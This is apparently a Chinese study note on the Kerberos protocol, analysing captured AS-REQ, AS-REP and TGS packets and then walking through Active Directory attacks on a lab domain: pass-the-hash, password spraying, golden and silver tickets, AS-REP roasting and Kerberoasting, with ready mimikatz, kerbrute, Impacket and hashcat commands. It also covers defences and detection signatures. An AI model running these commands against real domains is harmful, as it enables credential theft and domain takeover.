Kerberos 学习小结

作者:brodyproder

概念

| DC | 域控 | | KDC | 密钥分发中心,域控担任 | | AD | 活动目录,包含与用户数据库 | | AS | Kerberos认证服务 | | TGT | AS分发,TGT认证权证 | | TGS | 票据授予服务 | | ST | ST服务票据,由TGS服务发送 |

krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机

windows密码hash图解如下

AS-REQ

AS-REQ:当域内某个用户试图访问域中的某个服务,输入用户名和密码,本机的kerberos服务向KDC的AS认证服务发送一个AS-REQ认证请求,请求中包含:请求的用户名、客户端主机名、加密类型和Authenticator(用户NTML Hash加密的时间戳)以及其他的一些信息

wireshark抓包分析

req-body详细请求包

pvno:kerberos版本号,这里为5

msg-type:消息类型,AS_REQ对应的是krb-as-req(10)

padata:主要是一些认证信息,每个认证消息有type和value

  PADA PA-ENC-TIMESTAMP:预认证,用用户hash加密时间戳,作为value发送给AS服务器,AS服务器拥有用户hash,使用用户hash进行解密,获得时间戳,如果能解密,且时间戳在一定的范围内,则证明认证通过。由于用户密码是hash加密,所以能够利用hash传递

    padata-type:padata类型,这里是KRB5-PADATA-ENC-TIMESTAMP(2)
    padata-value:padata的值
      etype:padata类型,这里是eTYPE-AES256-CTS-HMAC-SHA1-96(18)
      cipher:密钥

  PADA PA-PAC-REQUEST:启用PAC支持的扩展。PAC并不在原生的kerberos里面,是微软引进的拓展。PAC包含在相应包AS_REP中,这里的value对应的值为True或False,KDC根据include的值来确定返回的票据中是否需要携带PAC

    padata-type:padata类型,这是eTYPE-AES256-CTS-HMAC-SHA1-96(18)
      padata-value:padata的值
        include-PAC:是否包含PAC,这里为True
req-body:请求body

  padding:填充,这里为0

  kdc-options:用于与KDC预定一些选项设置

  cname:客户端用户名,这个用户名存在和不存在,返回的包有差异,可以用于枚举域内用户名,PrincipalName类型,包含type和Value

    name-type:名字类型,这里是KRB5-NT-PRINCIPAL(1)
    cname-string:名字,也就是请求的用户名
      CNameString:请求的用户名,这里为mars2

  realm:域名,这里为DRUNKMARS0

  sname:服务端用户名,PrincipalName类型,包含type和value,在AS-REQ里面snames为krbtgt
    SNameString:这里是用户名 krbtgt
    SNameString:这里是域名 DRUNKMARS0
  till:到期时间,rubeus和kekeo都是20370913024805Z,这个可以作为特征来检测工具

  rtime:到期时间

  nonce:随机生成的一个数,kekeo/mimikatz nonce是12381973,rubeus nonce是1818848256,这个也可以用来作为特征检测工具

  etype:加密类型,这里有6个items

  address:客户端的请求地址,也就是客户端的主机名

    HostAddress MESSI-PC<20>
      ddr-type:地址类型,这里是nETBIOS(20)
      NetBIOS Name:MESSI-PC<20> (Server service)
复制代码

net config workstation 查看域内信息

AS-REQ过程中的攻击方式

hash传递

msf进行hash传递

只适用于域环境,并且目标主机需要安装 KB2871997补丁

mimikatz进行hash传递

这里mimikatz获取到hash之后不能复制粘贴,这时可以将获取到的hash导出到log日志中,命令如下

mimikatz log privilege::debug sekurlsa::ekeys
复制代码

抓取sid为500的administrator的ntlm哈希

privilege::debug

sekurlsa::logonpasswords
复制代码

执行命令

sekurlsa::pth /user:administrator /domain:192.168.10.5 /ntlm:7c64e7ebf46b9515c56b2dd522d21c1c
复制代码

KB2871997

安装KB2871997这个补丁之后,只能用sid为500的管理员账户进行pass hash

PTK(pass the key)

获取aes-key:

privilege::debug

sekurlsa::ekeys
复制代码

注入aes-key:

sekurlsa::pth /user:Administrator /domain:Drunkmars.com /aes256:cf5dba161f3a3dc89454742ff5db89980d6b07e771048b30006546e81d1d79e2
复制代码

域内用户枚举

使用kerbrute工具:

github.com/ropnop/kerb…

前提需要DC需要开启kerberos 88端口

准备用户名保存为txt

使用以下命令

kerbrute_windows_amd64.exe userenum --dc 192.168.10.5 -d Drunkmars.com user.txt
复制代码

使用kerbrute进行错误枚举的原理就是kerberos有三种错误代码:

KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用)

KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用)

KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在)

在DC抓包可以看到有4个UNKNOWN,1个REQUIRED,证明有这个用户名存在

密码喷洒

当用户名存在,密码正确和错误返回的包是不相同的,所以知道用户名的情况下可以用一个相同的密码去爆破用户,这种针对所有用户的自动密码猜测是为了防止账户被锁定,因为针对同一个用户连续密码猜测很容易导致账户被锁。所以只有对所有用户同时执行特定的密码进行尝试,才能增加破解的概率,消除帐号被锁定的可能

使用以下命令

kerbrute_windows_amd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519..
复制代码

密码同样存在三种错误代码

KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用)

KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用)

KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在)

同样在DC抓包,有4个UNKNOWN,1个REQUIRED

AS-REP

AS-REP:当KDC接受到请求之后,通过AD活动目录查询得到该用户的密码hash,用该密码hash对请求包的Authenticator进行解密,如果解密成功,则证明请求者提供的密码正确,而且需要时间戳范围在五分钟内,且不是重放,则域认证成功。KAS成功认证对方的身份之后,发送相应包给客户端,响应包中主要包括krbtgt用户的NTLM hash加密后的TGT认购权证(即ticket这部分)和用户NTLM hash加密的Login Session key(即最外层enc-part这部分)以及一些其他信息。该Login Session key的作用是用于确保客户端和KDC下阶段之间通信安全。最后TGT认购权证,加密的Login Session Key、时间戳和PAC等信息会发送给客户端。PAC中包含用户的SID,用户所在的组等一些信息。

在enc-part里面最重要的字段就是Login session key,作为下阶段的认证密钥

AS-REP中最核心的东西就是Login session-key 和加密的 ticket。正常我们用工具生成的凭据是.ccache和.kirbi后缀的,用mimikatz,kekeo,rebeus生成的凭据是.kirbi后缀的,impacket生成的凭据是.ccache,两种票据主要包含的都是Login session-key 和加密的 ticket,因此可以相互转换

AS-REP中的攻击方式

黄金票据

使用mimikatz

先获取krbtgt hash

DC执行

mimikatz.exe "lsadump::dcsync /domain:Drunkmars.com /user:krbtgt"
复制代码

获得如下信息

sid:S-1-5-21-652679085-3170934373-4288938398-502

ntlm hash:c1833c0783cfd81d3548dd89b017c99a

aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50
复制代码

伪造administrator执行(aes256)生成gold.kirbi

mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50 /user:administrator /ticket:gold.kirbi"
复制代码

伪造administrator执行(krbtgt hash)生成gold.kirbi

mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /user:administrator /ticket:gold.kirbi"
复制代码

导入golden.kirbi,执行命令

kerberos::ptt C:\\Users\\mars2\\Desktop\\gold.kirbi
复制代码

查看本地缓存,发现凭据成功导入

kerberos::list
复制代码

打开新的cmd,用klist查看凭证

dir连接过去,注意这里必须要主机名,不能够用IP连接

这里有一个坑,必须要管理员权限开cmd,不然也会显示拒绝访问

看下权限,处于Domain Users

查看所有组

net group /do
复制代码

查看Domain Controllers组,这里我在域用户机器上可以查看是因为我导入了金票,实际上这个命令只能在DC上才能查看

net group "Domain Controllers" /do
复制代码

删除凭据

kerberos::purge
复制代码

使用impacket

使用kali,不在域内需要把dns改向域控

先生成票据administrator.ccache

python3 ticketer.py -domain-sid S-1-5-21-652679085-3170934373-4288938398-502 -nthash c1833c0783cfd81d3548dd89b017c99a -domain Drunkmars.com administrator
复制代码

导入票据

export KRB5CCNAME=administrator.ccache
复制代码

然后访问域控

python3 smbexec.py -no-pass -k WIN-M836NN6NU8B.Drunkmars.com
复制代码

AS-REP Roasting

在AS-REP阶段,最外层的enc-part是用户密码hash加密的。对于域用户,如果设置了"Do not require Kerberos preauthentication",此时向域控的88端口发送AS-REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密的Login Session Key,通过离线爆破就可以获得用户hash)重新组合,能够拼接成"Kerberos 5 AS-REP etype 23"(18200)的格式,接下来可以通过hashcat对其破解,最终获得明文密码,这就构成了AS-REP Roasting攻击

默认这个功能是不启用的,如果启用AS-REP会返回用户hash加密的sessionkey-as,这样我们就能够用john离线破解

使用Empire下的powerview.ps1查找域中设置了"不需要kerberos预认证"的用户

Import-Module .\powerview.ps1

Get-DomainUser -PreauthNotRequired
复制代码

使用ASREPRoast.ps1获取AS-REP返回的hash

Import-Module .\ASREPRoast.ps1

Get-ASREPHash -Username mars2 -Domain Drunkmars.com | Out-File Encoding ASCII hash.txt
复制代码

修改为hashcat能识别的格式,在 k r b 5 a s r e p 后面添加 krb5asrep后面添加 23拼接

hashcat -m 18200 hash.txt pass.txt --force
复制代码

TGS-REQ

经过上面的步骤,客户端获得了 TGT认购权证 和 Login Session Key。然后用自己的密码NTLM Hash解密Login Session Key得到 原始的LogonSession Key。然后它会在本地缓存此 TGT认购权证 和 原始的Login Session Key。如果现在它需要访问某台服务器的某个服务,它就需要凭借这张TGT认购凭证向KDC购买相应的入场券ST服务票据(Service Ticket)。ST服务票据是通过KDC的另一个服务 TGS(Ticket Granting Service)出售的。在这个阶段,微软引入了两个扩展自协议 S4u2self 和 S4u2Proxy(当委派的时候,才用的到)

TGS-REQ:客户端向KDC购买针对指定服务的ST服务票据请求,该请求主要包含如下的内容:客户端信息、Authenticator(Login Session Key加密的时间戳)、TGT认购权证(padata下ap-req下的ticket) 和 访问的服务名以及一些其他信息

TGS-REP

TGS-REP:TGS接收到请求之后,首先会检查自身是否存在客户端所请求的服务。如果服务存在,则通过 krbtgt 用户的NTLM Hash 解密TGT并得到Login Session Key,然后通过Login Session Key解密Authenticator,如果解密成功,则验证了对方的真实身份,同时还会验证时间戳是否在范围内。并且还会检查TGT中的时间戳是否过期,且原始地址是否和TGT中保存的地址相同。

在完成上述的检测后,如果验证通过,则TGS完成了对客户端的认证,会生成一个用Logon Session Key加密后的用于确保客户端-服务器之间通信安全的Service Session Key会话秘钥(也就是最外层enc-part部分)。并且会为该客户端生成ST服务票据。ST服务票据主要包含两方面的内容:客户端用户信息 和 原始Service Session Key,整个ST服务票据用该服务的NTLM Hash进行加密。

最终Service Session Key 和 ST服务票据发送给客户端。(这一步不管用户有没有访问服务的权限,只要TGT正确,就都会返回ST服务票据,这也是kerberoasting能利用的原因,任何一个用户,只要hash正确,就可以请求域内任何一个服务的ST票据)

enc-part:这部分是用请求服务的密码Hash加密的。因此如果我们拥有服务的密码Hash,那么我们就可以自己制作一个ST服务票据,这就造成了白银票据攻击。也正因为该票据是用请求服务的密码Hash加密的,所以当我们得到了ST服务票据,可以尝试爆破enc_part,来得到服务的密码Hash。这也就造成了kerberoast攻击。

TGS-REP过程中的攻击方式

何为SPN

SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。

Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个SPN。SPN始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册SPN。一个用户账户下可以有多个SPN,但一个SPN只能注册到一个账户。在内网中,SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是kerberoasting攻击的第一步。

下面通过一个例子来说明SPN的作用:

当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控查询SPN为MySQL的记录。当找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中的TGS服务对TGT进行解密。确认无误后,由TGS将一张允许访问该SPN所对应的服务的ST服务票据和该SPN所对应的服务的地址发送给用户,用户使用该票据即可访问MySQL服务。

SPN分为两种类型:

1.是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。域中的每个机器都会有注册两个SPN:HOST/主机名 和 HOST/主机名.Drunkmars.com

2.是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下

查看当前域内所有的SPN:

setspn -Q \* \*
复制代码

查看指定域Drunkmars.com注册的SPN:

setspn -T Drunkmars.com -Q \* \*
复制代码

如果指定域不存在,则默认切换到查找本域的SPN

查找本域内重复的SPN:

setspn -X
复制代码

删除指定SPN:

setspn -D MySQL/win7.Drunkmars.com:1433/MSSQL hack
复制代码

查找指定用户/主机名注册的SPN:

setspn -L username/hostname
复制代码

Kerberoast攻击

Kerberoast攻击过程:

1.攻击者对一个域进行身份验证,然后从域控制器获得一个TGT认购权证,该TGT认购权证用于以后的ST服务票据请求

2.攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式(name/host)的 servicePrincipalName (SPN)。例如:MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName 字段中注册。 在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。

3.如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证中提取信息并填充到ST服务票据中。 然后,域控制器查找哪个帐户在ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。

4.攻击者从 TGS-REP 中提取加密的服务票证。 由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。

首先是请求服务票据

1.Rubeus.exe请求

Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用 hashcat 或 john 爆破的Hash。以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式

Rubeus.exe kerberoast
复制代码

2.powershell请求

#请求服务票据

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"

#列出服务票据

klist
复制代码

3.mimikatz请求

请求服务票据

kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433
复制代码

列出服务票据

kerberos::list
复制代码

清除所有票据

kerberos::purge
复制代码

4.Impacket中的GetUserSPNS.py请求

该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据,可用hashcat直接爆破。

python3 GetUserSPNs.py -request -dc-ip 192.168.200.143 0day.org/jack
复制代码

导出票据

首先是查看 klistmimikatz.exe "kerberos::list"

MSF里面

load kiwi

kerberos_ticket_list
复制代码

load kiwi

kiwi_cmd kerberos::list
复制代码

1.mimikatz导出

mimikatz.exe "kerberos::list /export" "exit"
复制代码

执行完后,会在mimikatz同目录下导出 后缀为kirbi的票据文件

2.Empire下的Invoke-Kerberoast.ps1

Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat
复制代码

离线破解服务票据

1.kerberoast中的tgsrepcrack.py

python2 tgsrepcrack.py password.txt xx.kirbi
复制代码

2.hashcat

将导出的hashcat格式的哈希保存为hash.txt文件,放到hashcat的目录下

hashcat -m 13100 hash.txt pass.txt
复制代码

Kerberoast攻击防范

确保服务账号密码为强密码(长度、随机性、定期修改)

如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5,就无法实验tgsrepcrack.py来破解密码。

攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此,如果强制实验AES256_HMAC方式对Kerberos票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性。

许多服务账户在内网中被分配了过高的权限,且密码强度较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管理员权限。因此,应该对服务账户的权限进行适当的配置,并提高密码的强度。

在进行日志审计时,可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志,应进一步检查系统中是否存在恶意行为。

白银票据

在TGS-REP阶段,TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据,这个票据也被称为白银票据。相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash,由于生成的是TGS票据,不需要跟域控打交道,但是白银票票据只能访问特定服务。但是要注意的一点是,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名,则银票将不起作用

要创建白银票据,我们需要知道以下信息:

  • 要伪造的域用户(这里我们一般填写域管理员账户)

  • 域名

  • 域的SID值(就是域成员SID值去掉最后的)

  • 目标服务的FQDN

  • 可利用的服务

  • 服务账号的NTLM哈希

这里使用白银票据伪造CIFS服务,该通常用于Windows主机之间的文件共享。

1.mimikatz获得服务账号的ntlm hash

privilege::Debug

sekurlsa::logonpasswords
复制代码

得到ntlm为7c64e7ebf46b9515c56b2dd522d21c1c

2.使用白银票据攻击

kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt
复制代码

3.查看票据

4.访问域控

防御:

伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC PAC签名,则银票将不起作用。

黄金票据和白银票据的不同点

访问权限不同:

黄金票据Golden Ticket:伪造TGT认购权证,可以获取任何Kerberos服务权限

白银票据Silver Ticket:伪造ST服务票据,只能访问指定的服务

加密方式不同:

Golden Ticket由krbtgt的Hash加密

Silver Ticket 由服务账号(通常为计算机账户)Hash加密

认证流程不同:

Golden Ticket的利用过程需要访问域控,而Silver Ticket不需要

说明

关于合天网安实验室

合天网安实验室(www.hetianlab.com)-国内领先的实操型网络安全在线教育平台 真实环境,在线实操学网络安全 ; 实验内容涵盖:系统安全,软件安全,网络安全,Web安全,移动安全,CTF,取证分析,渗透测试,网安意识教育等。

相关实验练习

Kerberos网络认证协议搭建与分析

Kerberos协议最初是麻省理工学院(MIT)为其Athena项目开发的。本实验主要介绍了windows server2003系统的域和DNS服务器的搭建,通过本实验的学习学会kerberos网络认证协议搭建方式。

猜你喜欢

转载自juejin.im/post/7018046662476038151